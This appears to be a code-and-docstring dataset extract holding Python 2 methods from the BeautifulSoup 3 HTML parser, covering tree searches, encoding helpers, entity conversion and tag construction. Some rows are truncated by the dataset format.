| def findAllPrevious(self, name=None, attrs={}, text=None, limit=None, **kwargs):
| return self._findAll(name, attrs, text, limit, self.previousGenerator, **kwargs)
|
'Returns the closest sibling to this Tag that matches the
given criteria and appears before this Tag in the document.'
| def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs):
| return self._findOne(self.findPreviousSiblings, name, attrs, text, **kwargs)
|
'Returns the siblings of this Tag that match the given
criteria and appear before this Tag in the document.'
| def findPreviousSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs):
| return self._findAll(name, attrs, text, limit, self.previousSiblingGenerator, **kwargs)
|
'Returns the closest parent of this Tag that matches the given
criteria.'
| def findParent(self, name=None, attrs={}, **kwargs):
| r = None
l = self.findParents(name, attrs, 1)
if l:
r = l[0]
return r
|
'Returns the parents of this Tag that match the given
criteria.'
| def findParents(self, name=None, attrs={}, limit=None, **kwargs):
| return self._findAll(name, attrs, None, limit, self.parentGenerator, **kwargs)
|
'Iterates over a generator looking for things that match.'
| def _findAll(self, name, attrs, text, limit, generator, **kwargs):
| if isinstance(name, SoupStrainer):
strainer = name
elif ((text is None) and (not limit) and (not attrs) and (not kwargs)):
if (name is True):
return [element for element in generator() if isinstance(element, Tag)]
elif isinstance(name, basestring):
return [element... |
'Encodes an object to a string in some encoding, or to Unicode.'
| def toEncoding(self, s, encoding=None):
| if isinstance(s, unicode):
if encoding:
s = s.encode(encoding)
elif isinstance(s, str):
if encoding:
s = s.encode(encoding)
else:
s = unicode(s)
elif encoding:
s = self.toEncoding(str(s), encoding)
else:
s = unicode(s)
retur... |
'Used with a regular expression to substitute the
appropriate XML entity for an XML special character.'
| def _sub_entity(self, x):
| return (('&' + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]]) + ';')
|
'Create a new NavigableString.
When unpickling a NavigableString, this method is called with
the string in DEFAULT_OUTPUT_ENCODING. That encoding needs to be
passed in to the superclass\'s __new__ or the superclass won\'t know
how to handle non-ASCII characters.'
| def __new__(cls, value):
| if isinstance(value, unicode):
return unicode.__new__(cls, value)
return unicode.__new__(cls, value, DEFAULT_OUTPUT_ENCODING)
|
'text.string gives you text. This is for backwards
compatibility for Navigable*String, but for CData* it lets you
get the string without the CData wrapper.'
| def __getattr__(self, attr):
| if (attr == 'string'):
return self
else:
raise AttributeError, ("'%s' object has no attribute '%s'" % (self.__class__.__name__, attr))
|
'Used in a call to re.sub to replace HTML, XML, and numeric
entities with the appropriate Unicode characters. If HTML
entities are being converted, any unrecognized entities are
escaped.'
| def _convertEntities(self, match):
| try:
x = match.group(1)
if (self.convertHTMLEntities and (x in name2codepoint)):
return unichr(name2codepoint[x])
elif (x in self.XML_ENTITIES_TO_SPECIAL_CHARS):
if self.convertXMLEntities:
return self.XML_ENTITIES_TO_SPECIAL_CHARS[x]
else:... |
'Basic constructor.'
| def __init__(self, parser, name, attrs=None, parent=None, previous=None):
| self.parserClass = parser.__class__
self.isSelfClosing = parser.isSelfClosingTag(name)
self.name = name
if (attrs is None):
attrs = []
elif isinstance(attrs, dict):
attrs = attrs.items()
self.attrs = attrs
self.contents = []
self.setup(parent, previous)
self.hidden = ... |
'Replace the contents of the tag with a string'
| def setString(self, string):
| self.clear()
self.append(string)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.